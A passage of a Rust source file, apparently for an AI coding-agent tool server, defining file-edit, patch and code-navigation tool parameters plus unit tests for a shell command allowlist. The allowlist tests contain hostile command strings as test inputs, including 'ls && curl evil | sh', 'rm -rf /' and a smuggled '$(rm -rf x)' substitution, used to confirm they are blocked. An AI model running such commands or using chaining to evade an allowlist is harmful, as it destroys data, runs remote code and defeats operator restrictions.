944    let inferred_type = if map.contains_key("command") {
945        Some("command")
946    } else if map.contains_key("status_check") {
947        Some("status_check")
948    } else if map.contains_key("send_text") {
949        Some("send_text")
950    } else if map.contains_key("send_specials") {
951        Some("send_specials")
952    } else if map.contains_key("send_ascii") {
953        Some("send_ascii")
954    } else if map.contains_key("screen") {
955        Some("screen")
956    } else if map.contains_key("wait_for_turn") {
957        Some("wait_for_turn")
958    } else {
959        None
960    };
961
962    if let Some(action_type) = inferred_type {
963        map.insert("type".to_string(), serde_json::Value::String(action_type.to_string()));
964    }
965
966    value
967}
968
969fn sanitize_shell_string(value: &str) -> String {
970    value.replace('\0', "\\x00")
971}
972
973// Bash command mode
974#[derive(Debug, Clone, JsonSchema, PartialEq)]
975pub struct BashCommandMode {
976    pub bash_mode: BashMode,
977    pub allowed_commands: AllowedCommands,
978}
979
980#[derive(Debug, Clone, Copy, JsonSchema, PartialEq)]
981pub enum BashMode {
982    NormalMode,
983    RestrictedMode,
984}
985
986// File edit mode
987#[derive(Debug, Clone, JsonSchema, PartialEq)]
988pub struct FileEditMode {
989    pub allowed_globs: AllowedGlobs,
990}
991
992// Write if empty mode
993#[derive(Debug, Clone, JsonSchema, PartialEq)]
994pub struct WriteIfEmptyMode {
995    pub allowed_globs: AllowedGlobs,
996}
997
998/// Parameters for the `FileWriteOrEdit` tool
999///
1000/// This struct represents the parameters needed to write or edit a file
1001/// with optional search/replace blocks for partial edits.
1002#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1003pub struct FileWriteOrEdit {
1004    /// Path to the file to write or edit
1005    ///
1006    /// This must be an absolute path (~ allowed).
1007    pub file_path: String,
1008
1009    /// Percentage of the file that will be changed
1010    ///
1011    /// If > 50%, the content is treated as the entire file content.
1012    /// If <= 50%, the content is treated as search/replace blocks.
1013    pub percentage_to_change: u32,
1014
1015    /// Content for the file or search/replace blocks
1016    ///
1017    /// If `percentage_to_change` > 50%, this is the entire file content.
1018    /// If `percentage_to_change` <= 50%, this contains search/replace blocks
1019    /// in the format:
1020    /// ```text
1021    /// <<<<<<< SEARCH
1022    /// old content to find
1023    /// =======
1024    /// new content to replace with
1025    /// >>>>>>> REPLACE
1026    /// ```
1027    pub text_or_search_replace_blocks: String,
1028
1029    /// The thread ID for this session
1030    pub thread_id: String,
1031}
1032
1033/// One compare-and-swap line patch. Coordinates refer to the original revision,
1034/// are one-based, and all patches are applied together.
1035#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema, PartialEq)]
1036pub struct LinePatch {
1037    /// Original line before which replacement starts (`totalLines + 1` appends).
1038    pub start_line: usize,
1039    /// Number of original lines to remove; zero performs an insertion.
1040    pub delete_lines: usize,
1041    /// Exact replacement bytes. Include newlines intentionally.
1042    pub replacement: String,
1043}
1044
1045/// Apply one or more non-overlapping line patches to an exact `ReadFiles`
1046/// revision. This is preferable to SEARCH/REPLACE when line coordinates are
1047/// already known.
1048#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1049pub struct ApplyPatch {
1050    /// Path returned by `ReadFiles.files[].path`.
1051    pub file_path: String,
1052    /// Opaque `ReadFiles.files[].revision` compare-and-swap token.
1053    pub expected_revision: String,
1054    /// Ordered, non-overlapping edits against that original revision.
1055    pub patches: Vec<LinePatch>,
1056    /// Thread ID for the same project session that produced the revision.
1057    pub thread_id: String,
1058}
1059
1060/// One file's worth of edits in a [`MultiFileEdit`] batch. Same semantics as the
1061/// corresponding [`FileWriteOrEdit`] fields.
1062#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1063pub struct FileEditEntry {
1064    /// Path to the file to write or edit (absolute, ~ allowed).
1065    pub file_path: String,
1066    /// If > 50%, the content is the entire file; if <= 50%, search/replace blocks.
1067    pub percentage_to_change: u32,
1068    /// Full file content or search/replace blocks (see `FileWriteOrEdit`).
1069    pub text_or_search_replace_blocks: String,
1070}
1071
1072/// Parameters for the `MultiFileEdit` tool: apply edits across several files
1073/// all-or-nothing at the COMPUTE stage.
1074///
1075/// Every file is validated and its new content computed in memory first; only
1076/// if ALL succeed are any writes performed. So a SEARCH that fails to match in
1077/// the last file leaves the first files untouched. The write stage is a sequence
1078/// of atomic single-file renames and stops at the first I/O failure (already
1079/// written files are not rolled back, which is reported clearly).
1080#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1081pub struct MultiFileEdit {
1082    /// Two or more files to edit together. For a single file use `FileWriteOrEdit`.
1083    pub files: Vec<FileEditEntry>,
1084
1085    /// The thread ID for this session
1086    pub thread_id: String,
1087}
1088
1089/// Parameters for rerunning a post-edit verification without repeating the edit.
1090#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1091pub struct VerifyEdit {
1092    /// Deterministic receipt returned by the edit that first ran this command.
1093    pub verification_id: String,
1094    /// Exact finite foreground verification command from the edit receipt.
1095    pub command: String,
1096    /// Optional bounded inline wait, from 0 through 60 seconds.
1097    #[serde(default)]
1098    pub wait_for_seconds: Option<f32>,
1099    /// The thread ID for the same project session as the original edit.
1100    pub thread_id: String,
1101}
1102
1103/// Parameters for the `UndoEdit` tool: revert a file to its content before the
1104/// last `FileWriteOrEdit`/`MultiFileEdit` in this session.
1105#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1106pub struct UndoEdit {
1107    /// Path of the file whose last edit should be reverted (absolute, ~ allowed).
1108    pub file_path: String,
1109
1110    /// The thread ID for this session
1111    pub thread_id: String,
1112}
1113
1114/// Parameters for the `ContextSave` tool
1115///
1116/// This struct represents the parameters needed to save context information
1117/// about a task, including file contents from specified globs.
1118#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1119pub struct ContextSave {
1120    /// Unique identifier for the task
1121    ///
1122    /// This should be a unique string that identifies the task. It can be
1123    /// a random 3-word identifier or a user-provided value.
1124    pub id: String,
1125
1126    /// Root path of the project
1127    ///
1128    /// This should be an absolute path to the project root. If empty, no
1129    /// project root will be used.
1130    pub project_root_path: String,
1131
1132    /// Description of the task
1133    ///
1134    /// This should contain a detailed description of the task, including
1135    /// relevant context, problems, and objectives.
1136    pub description: String,
1137
1138    /// List of file glob patterns
1139    ///
1140    /// These glob patterns identify the files that should be included in
1141    /// the saved context. Patterns can be absolute or relative to the project root.
1142    pub relevant_file_globs: Vec<String>,
1143
1144    /// Optional thread ID identifying the shell session to operate on. When
1145    /// omitted, the most recently active session is used.
1146    #[serde(default)]
1147    pub thread_id: String,
1148}
1149
1150/// Parameters for the `ReadImage` tool
1151///
1152/// This struct represents the parameters needed to read an image file.
1153#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1154pub struct ReadImage {
1155    /// Path to the image file to read
1156    ///
1157    /// This can be an absolute path or a path relative to the current working directory.
1158    pub file_path: String,
1159
1160    /// Optional thread ID identifying the shell session to operate on. When
1161    /// omitted, the most recently active session is used.
1162    #[serde(default)]
1163    pub thread_id: String,
1164
1165    /// Deliver the image again even when the unchanged bytes were already sent
1166    /// in this live session. Leave false for normal agent use so accidental
1167    /// repeated calls do not resend a multi-megabyte image.
1168    #[serde(default)]
1169    pub force: bool,
1170}
1171
1172/// Operation for the `CodeMap` tool.
1173#[derive(Debug, Clone, Copy, Serialize, Deserialize, JsonSchema, PartialEq, Eq)]
1174#[serde(rename_all = "snake_case")]
1175pub enum CodeMapOperation {
1176    /// A file's symbol definitions, or a ranked repo-wide symbol map for a directory.
1177    Outline,
1178    /// The definition + reference (call/use) sites of a symbol name across the repo.
1179    References,
1180}
1181
1182/// Parameters for the `CodeMap` tool: tree-sitter code navigation. One tool with
1183/// two operations, in place of separate `Outline` / `FindReferences` tools.
1184#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1185pub struct CodeMap {
1186    /// `outline` (symbols in a file, or a ranked repo symbol map for a directory)
1187    /// or `references` (the definition + use sites of a symbol name).
1188    pub operation: CodeMapOperation,
1189
1190    /// For `outline`: the file or directory to map (empty or a directory = a
1191    /// ranked repo symbol map). For `references`: the directory or file to search
1192    /// under (empty = the whole workspace). Relative paths resolve against the
1193    /// workspace.
1194    #[serde(default)]
1195    pub path: String,
1196
1197    /// For `references` ONLY: the exact symbol name to find (e.g. `parse_config`).
1198    /// Required for `references`, ignored by `outline`.
1199    #[serde(default)]
1200    pub name: String,
1201
1202    /// Maximum results: symbols (single file) or files (repo map) for `outline`,
1203    /// occurrences for `references`. 0 means the default.
1204    #[serde(default)]
1205    pub max_results: usize,
1206
1207    /// Optional task focus used to rank directory maps. Short symbol names,
1208    /// paths, or a concise topic work best. Ignored by single-file outlines and
1209    /// reference searches.
1210    #[serde(default)]
1211    pub query: String,
1212
1213    /// Opaque continuation returned by a truncated directory outline. Reuse it
1214    /// with the same path, query, and workspace snapshot; omit it to restart.
1215    #[serde(default)]
1216    pub cursor: String,
1217
1218    /// Optional thread ID identifying the shell session to operate on. When
1219    /// omitted, the most recently active session is used.
1220    #[serde(default)]
1221    pub thread_id: String,
1222}
1223
1224/// Parameters for the `Outline` operation (tree-sitter symbol map), used
1225/// internally by `CodeMap`.
1226#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1227pub struct Outline {
1228    /// File or directory to outline. A file returns that file's symbols; a
1229    /// directory (or empty = the whole workspace) returns a ranked repo symbol
1230    /// map. Relative paths resolve against the workspace.
1231    #[serde(default)]
1232    pub path: String,
1233
1234    /// Maximum symbols to return for a single file, or maximum files for a repo
1235    /// map. 0 means the default.
1236    #[serde(default)]
1237    pub max_results: usize,
1238
1239    /// Optional task focus used to rank directory maps.
1240    #[serde(default)]
1241    pub query: String,
1242
1243    /// Opaque continuation for a directory map.
1244    #[serde(default)]
1245    pub cursor: String,
1246
1247    /// Optional thread ID identifying the shell session to operate on. When
1248    /// omitted, the most recently active session is used.
1249    #[serde(default)]
1250    pub thread_id: String,
1251}
1252
1253/// One symbol (definition) in `Outline` output.
1254#[derive(Debug, Clone, Serialize, JsonSchema)]
1255pub struct OutlineSymbol {
1256    /// Symbol name.
1257    pub name: String,
1258    /// Symbol kind from the grammar (e.g. `function`, `struct`, `method`, `class`).
1259    pub kind: String,
1260    /// 1-based line where the definition starts.
1261    pub line: usize,
1262}
1263
1264/// Symbols for one file in `Outline` output.
1265#[derive(Debug, Clone, Serialize, JsonSchema)]
1266pub struct OutlineFile {
1267    /// Workspace-relative path of the file.
1268    pub file: String,
1269    /// Definitions found in the file, in source order.
1270    pub symbols: Vec<OutlineSymbol>,
1271}
1272
1273/// Actionable fallback when a single-file `CodeMap` outline cannot provide
1274/// symbols. Exact source remains canonical; helpers are optional and derived.
1275#[derive(Debug, Clone, Serialize, JsonSchema)]
1276pub struct CodeMapFallback {
1277    /// Tool that can retrieve the canonical source.
1278    pub tool: String,
1279    /// Absolute path ready for `ReadFiles.file_paths`.
1280    pub file_paths: Vec<String>,
1281    /// Stable machine-readable reason for the fallback.
1282    pub reason: String,
1283    /// Session-local location for a genuinely useful derived helper.
1284    pub temporary_artifact_dir: String,
1285}
1286
1287/// Structured result of an `Outline` call (mirrors the text block).
1288#[derive(Debug, Clone, Serialize, JsonSchema)]
1289pub struct OutlineOutput {
1290    /// `file` for a single-file outline, `repo` for a workspace symbol map.
1291    pub mode: String,
1292    /// Number of files included in `files`.
1293    pub files_shown: usize,
1294    /// Per-file symbol lists.
1295    pub files: Vec<OutlineFile>,
1296    /// True if the symbol map was capped (more files or symbols exist).
1297    pub truncated: bool,
1298    /// Opaque continuation for the next ranked directory-map page.
1299    #[serde(skip_serializing_if = "Option::is_none")]
1300    pub next_cursor: Option<String>,
1301    /// Stable fingerprint of the ranked directory snapshot behind the cursor.
1302    #[serde(skip_serializing_if = "Option::is_none")]
1303    pub snapshot_hash: Option<String>,
1304    /// Number of candidate files inspected while producing this page.
1305    pub files_scanned: usize,
1306    /// Combined bytes of the human-readable map and its structured navigation
1307    /// payload, before the small shared MCP result envelope is added.
1308    pub payload_bytes: usize,
1309    /// Lowercase source extension in single-file mode.
1310    #[serde(skip_serializing_if = "Option::is_none")]
1311    pub file_extension: Option<String>,
1312    /// Whether Winx has a native tags query for the single-file language.
1313    #[serde(skip_serializing_if = "Option::is_none")]
1314    pub language_supported: Option<bool>,
1315    /// Exact-source recovery for an unsupported or unavailable parser.
1316    #[serde(skip_serializing_if = "Option::is_none")]
1317    pub fallback: Option<CodeMapFallback>,
1318}
1319
1320/// Parameters for the `FindReferences` tool (tree-sitter symbol occurrences).
1321#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
1322pub struct FindReferences {
1323    /// Symbol name to find — an exact identifier match (e.g. `parse_config`).
1324    pub name: String,
1325
1326    /// Directory or file to search under. Relative paths resolve against the
1327    /// workspace; leave empty to search the whole workspace.
1328    #[serde(default)]
1329    pub path: String,
1330
1331    /// Maximum occurrences to return. 0 means the default.
1332    #[serde(default)]
1333    pub max_results: usize,
1334
1335    /// Optional thread ID identifying the shell session to operate on. When
1336    /// omitted, the most recently active session is used.
1337    #[serde(default)]
1338    pub thread_id: String,
1339}
1340
1341/// One symbol occurrence in `FindReferences` output.
1342#[derive(Debug, Clone, Serialize, JsonSchema)]
1343pub struct ReferenceHit {
1344    /// Workspace-relative path.
1345    pub file: String,
1346    /// 1-based line.
1347    pub line: usize,
1348    /// Symbol kind from the grammar (e.g. `function`, `call`, `method`).
1349    pub kind: String,
1350    /// True for a definition, false for a reference (call / use site).
1351    pub is_definition: bool,
1352}
1353
1354/// Structured result of a `FindReferences` call (mirrors the text block).
1355#[derive(Debug, Clone, Serialize, JsonSchema)]
1356pub struct ReferencesOutput {
1357    /// The symbol name that was searched for.
1358    pub name: String,
1359    /// Number of returned hits that are definitions.
1360    pub definitions: usize,
1361    /// Number of returned hits that are references (call / use sites).
1362    pub references: usize,
1363    /// True if the result was capped (more occurrences exist).
1364    pub truncated: bool,
1365    /// Combined bytes of the human-readable result and structured navigation
1366    /// payload before the shared MCP envelope is added.
1367    pub payload_bytes: usize,
1368    /// Occurrences, definitions first then references, each group by file/line.
1369    pub hits: Vec<ReferenceHit>,
1370}
1371
1372/// Aggregate guard state for a `CodeMap` call over non-canonical session helpers.
1373#[derive(Debug, Clone, Copy, Serialize, JsonSchema)]
1374pub struct CodeMapTemporaryHelperBudget {
1375    pub calls_used: usize,
1376    pub calls_limit: usize,
1377    pub unique_files_used: usize,
1378    pub unique_files_limit: usize,
1379}
1380
1381/// JSON Schema advertised for `CodeMap.structuredContent`.
1382///
1383/// `CodeMap` has two operations with different payloads. Their shared
1384/// `truncated` field is required; operation-specific fields are optional so the
1385/// single object schema accepts both the outline and references result shapes.
1386#[derive(Debug, Clone, JsonSchema)]
1387pub struct CodeMapStructuredOutput {
1388    pub truncated: bool,
1389    pub next_cursor: Option<String>,
1390    pub snapshot_hash: Option<String>,
1391    pub files_scanned: Option<usize>,
1392    pub payload_bytes: Option<usize>,
1393    pub source_kind: Option<String>,
1394    pub canonical: Option<bool>,
1395    pub temporary_helper_budget: Option<CodeMapTemporaryHelperBudget>,
1396    pub mode: Option<String>,
1397    pub files_shown: Option<usize>,
1398    pub files: Option<Vec<OutlineFile>>,
1399    pub file_extension: Option<String>,
1400    pub language_supported: Option<bool>,
1401    pub fallback: Option<CodeMapFallback>,
1402    pub name: Option<String>,
1403    pub definitions: Option<usize>,
1404    pub references: Option<usize>,
1405    pub hits: Option<Vec<ReferenceHit>>,
1406}
1407
1408#[cfg(test)]
1409mod thread_id_tests {
1410    use super::{normalize_thread_id, MAX_NORMALIZED_THREAD_ID_BYTES};
1411
1412    #[test]
1413    fn clean_id_is_unchanged() {
1414        assert_eq!(normalize_thread_id("tid_deadbeef"), "tid_deadbeef");
1415        assert_eq!(normalize_thread_id("worker_1"), "worker_1");
1416    }
1417
1418    #[test]
1419    fn empty_and_all_special_normalize_to_empty() {
1420        assert_eq!(normalize_thread_id(""), "");
1421        assert_eq!(normalize_thread_id("---"), "");
1422    }
1423
1424    #[test]
1425    fn separator_variants_do_not_collide() {
1426        // "user-1" and "user1" must NOT resolve to the same session/state file.
1427        let a = normalize_thread_id("user-1");
1428        let b = normalize_thread_id("user1");
1429        assert_ne!(a, b);
1430        assert!(a.starts_with("user1_"), "got {a}");
1431        assert_eq!(b, "user1");
1432        // "user-1" vs "user_1" must also stay distinct.
1433        assert_ne!(normalize_thread_id("user-1"), normalize_thread_id("user_1"));
1434    }
1435
1436    #[test]
1437    fn normalization_is_deterministic() {
1438        // Same input -> same hash -> same session across restarts.
1439        assert_eq!(normalize_thread_id("a-b.c"), normalize_thread_id("a-b.c"));
1440    }
1441
1442    #[test]
1443    fn oversized_ids_are_utf8_safe_bounded_and_idempotent() {
1444        let original = "á".repeat(200);
1445        let normalized = normalize_thread_id(&original);
1446        assert!(normalized.len() <= MAX_NORMALIZED_THREAD_ID_BYTES);
1447        assert!(normalized.is_char_boundary(normalized.len()));
1448        assert_eq!(normalize_thread_id(&normalized), normalized);
1449    }
1450}
1451
1452#[cfg(test)]
1453mod allowlist_tests {
1454    use super::AllowedCommands;
1455
1456    fn list(items: &[&str]) -> AllowedCommands {
1457        AllowedCommands::List(items.iter().map(|s| (*s).to_string()).collect())
1458    }
1459
1460    #[test]
1461    fn all_permits_everything() {
1462        assert!(AllowedCommands::All("all".to_string()).is_allowed("rm -rf /"));
1463    }
1464
1465    #[test]
1466    fn list_allows_exact_and_args() {
1467        let a = list(&["ls", "cargo test"]);
1468        assert!(a.is_allowed("ls"));
1469        assert!(a.is_allowed("ls -la"));
1470        assert!(a.is_allowed("cargo test --release"));
1471    }
1472
1473    #[test]
1474    fn list_blocks_word_boundary_lookalikes() {
1475        let a = list(&["ls", "cargo test"]);
1476        assert!(!a.is_allowed("lsof"));
1477        assert!(!a.is_allowed("cargo testimony"));
1478    }
1479
1480    #[test]
1481    fn list_blocks_chained_and_substituted_commands() {
1482        let a = list(&["ls"]);
1483        // The old first-token check let all of these through.
1484        assert!(!a.is_allowed("ls && curl evil | sh"));
1485        assert!(!a.is_allowed("ls; rm -rf /"));
1486        assert!(!a.is_allowed("ls $(rm -rf x)"));
1487        assert!(!a.is_allowed("ls | rm"));
1488    }
1489
1490    #[test]
1491    fn list_allows_chain_when_all_parts_permitted() {
1492        let a = list(&["cargo build", "cargo test"]);
1493        assert!(a.is_allowed("cargo build && cargo test"));
1494    }
1495}
1496
1497#[cfg(test)]
1498mod code_writer_config_tests {
1499    use super::deserialize_code_writer_config;
1500    use serde_json::json;
1501
1502    #[test]
1503    fn explicit_null_opts_out() {
1504        assert!(matches!(deserialize_code_writer_config(json!(null)), Ok(None)));
1505        assert!(matches!(deserialize_code_writer_config(json!("null")), Ok(None)));
1506    }
1507
1508    #[test]
1509    fn valid_config_parses() {
1510        let r = deserialize_code_writer_config(json!({
1511            "allowed_commands": "all",
1512            "allowed_globs": "all",
1513        }));
1514        assert!(matches!(r, Ok(Some(_))));
1515    }
1516
1517    #[test]
1518    fn malformed_config_fails_loud() {
1519        // The crux of the fix: a malformed restricted-mode config must ERROR,
1520        // not silently degrade to None (None falls back to All/All — wide open,
1521        // while the model believes the shell is locked down).
1522        let r = deserialize_code_writer_config(json!({ "allowed_commands": 12345 }));
1523        assert!(r.is_err(), "malformed code_writer config must error, not become None");
1524    }
1525}